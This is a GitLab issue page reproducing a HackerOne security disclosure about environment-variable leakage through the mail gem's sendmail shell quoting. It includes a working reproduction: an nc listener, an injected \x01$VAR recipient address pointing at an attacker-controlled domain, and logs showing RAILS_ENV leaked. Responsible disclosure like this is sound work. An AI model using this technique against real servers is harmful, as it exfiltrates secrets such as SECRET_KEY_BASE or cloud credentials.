Skip to content
GitLab
Next
    • GitLab: the DevOps platform
    • Explore GitLab
    • Install GitLab
    • How GitLab compares
    • Get started
    • GitLab docs
    • GitLab Learn
  • Pricing
  • Talk to an expert
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
    Projects Groups Topics Snippets
  • Register
  • Sign in
  • GitLab GitLab
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributor statistics
    • Graph
    • Compare revisions
    • Locked files
  • Issues 55.2k
    • Issues 55.2k
    • List
    • Boards
    • Service Desk
    • Milestones
    • Iterations
    • Requirements
  • Merge requests 1.6k
    • Merge requests 1.6k
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Artifacts
    • Schedules
    • Test cases
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Package Registry
    • Container Registry
    • Terraform modules
    • Model experiments
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Code review
    • Insights
    • Issue
    • Repository
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • GitLab.orgGitLab.org
  • GitLabGitLab
  • Issues
  • #337601
Closed
Open
Issue created Aug 04, 2021 by GitLab SecurityBot@gitlab-securitybotReporter

Environment variables can be leaked via the `:sendmail` delivery method

HackerOne report #1286317 by vakzz on 2021-08-02, assigned to @rshambhuni:

Report | How To Reproduce

Report

Summary

The gitlab omnibus edition defaults to using :sendmail as the delivery method for emails. ActionMailer depends on mail v2.7.1 for this https://gitlab.com/gitlab-org/gitlab/-/blob/v14.1.1-ee/Gemfile.lock#L1546

When :sendmail is used as the delivery method, /usr/sbin/sendmail will end up being called with the to address going through the following function:

https://github.com/mikel/mail/blob/2.7.1/lib/mail/network/delivery_methods/sendmail.rb#L85-L93

    def self.shellquote(address)  
      # Process as a single byte sequence because not all shell  
      # implementations are multibyte aware.  
      #  
      # A LF cannot be escaped with a backslash because a backslash + LF  
      # combo is regarded as line continuation and simply ignored. Strip it.  
      escaped = address.gsub(/([^A-Za-z0-9_\s\+\-.,:\/@~])/n, "\\\\\\1").gsub("\n", '')  
      %("#{escaped}")  
    end  

There is a long standing issue in bash where a backlash followed by a \001 character can cause issues with interpolation
https://lists.gnu.org/archive/html/bug-bash/2007-03/msg00065.html which causes \^A\$ to think second backslash is being escaped and leaves the $ unescaped (^A is \x00 and can be entered with ctrl-v ctrl-a):

bash-5.1$ echo -n "\^A\$USER" | xxd  
00000000: 5c01 5c77 696c 6c                        \.\will  

So if an email is sent to "someone+\x01$HOME@place.com" then after shellqoute it will be "someone+\\u0001\$HOME@place.com" and bash will expand the HOME variable.

Since sendmail is run using a string to IO.popen, this bug relies on bash being the default /bin/sh shell (which it is on OSX, RHEL, Centos and can be done in Ubuntu with dpkg-reconfigure dash) .

Steps to reproduce
  1. Use something like vagrant/virtualbox to create a CentOS 8 vm or spin up a vps
  2. Following the instructions to install gitlab https://about.gitlab.com/install/#centos-8.
  3. (ALT) Alternatively to steps 1 and 2 the docker installation can be used if you run dpkg-reconfigure dash and disable dash as the default system shell
  4. Somewhere with a publicly accessible ip run echo -e '200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n' | sudo nc -vl 25
  5. Login to gitlab and create a new project
  6. Go to Settings -> Integrations -> Emails on push
  7. Fire up Burp or open the network tab in Chrome
  8. In the Recipients enter user+test@111.111.111.111.getmoss.site replacing 111.111.111.111 with the ip of the machine running nc
  9. Ensure Trigger event for pushes to the repository. is checked and press save
  10. Either edit the request in burp or copy as curl from the network tab and change the test in the email to be %01%24RAILS_ENV and run the request
  11. Edit or add a file to the project
  12. You should see the environment variable in the to address in nc
$ echo -e '200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n' | sudo nc -vl 25  
Listening on [103.xxx.xxx.xxx] (family 0, port 25)  
Connection from [45.xxx.xxx.xxx] port 25 [tcp/smtp] accepted (family 2, sport 53932)  
EHLO localhost.localdomain  
MAIL FROM:<gitlab@gitlab.testing>  
RCPT TO:<"will+production"[@]103.xxx.xxx.xxx.getmoss.site>  
DATA  
RSET  
QUIT  
Impact

An attacker can read arbitrary environment variables from the server if bash is configured as the default shell. As sensitive values are often passed around using environment variables (such as SECRET_KEY_BASE or aws credentials) they could be read and used to gain further access

Examples

See the steps to reproduce

What is the current bug behavior?
  • No validation on email addresses
  • The mail gem passes a string to IO.popen causing a shell to be used
  • Insufficient escaping of the email addresses by the mail gem
What is the expected correct behavior?

The master branch of mail seems to have fixed the issue by passing an array to IO.popen to avoid a shell, but there doesn't seem to be a new release https://github.com/mikel/mail/blob/master/lib/mail/network/delivery_methods/sendmail.rb#L63

The email addresses could also be validated before being used to ensure that they have no invalid characters.

Relevant logs and/or screenshots
Output of checks
Results of GitLab environment info
System information  
System:  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.7.2p137  
Gem Version:	3.1.4  
Bundler Version:2.1.4  
Rake Version:	13.0.3  
Redis Version:	6.0.14  
Git Version:	2.32.0  
Sidekiq Version:5.2.9  
Go Version:	unknown

GitLab information  
Version:	14.1.1-ee  
Revision:	f331f932688  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	12.6  
URL:		http://gitlab.testing  
HTTP Clone URL:	http://gitlab.testing/some-group/some-project.git  
SSH Clone URL:	git@gitlab.testing:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers:

GitLab Shell  
Version:	13.19.0  
Repository storage paths:  
- default: 	/var/opt/gitlab/git-data/repositories  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
Git:		/opt/gitlab/embedded/bin/git  

Impact

An attacker can read arbitrary environment variables from the server if bash is configured as the default shell. As sensitive values are often passed around using environment variables (such as SECRET_KEY_BASE or aws credentials) they could be read and used to gain further access

How To Reproduce

Please add reproducibility information to this section:

Assignee
Assign to
Time tracking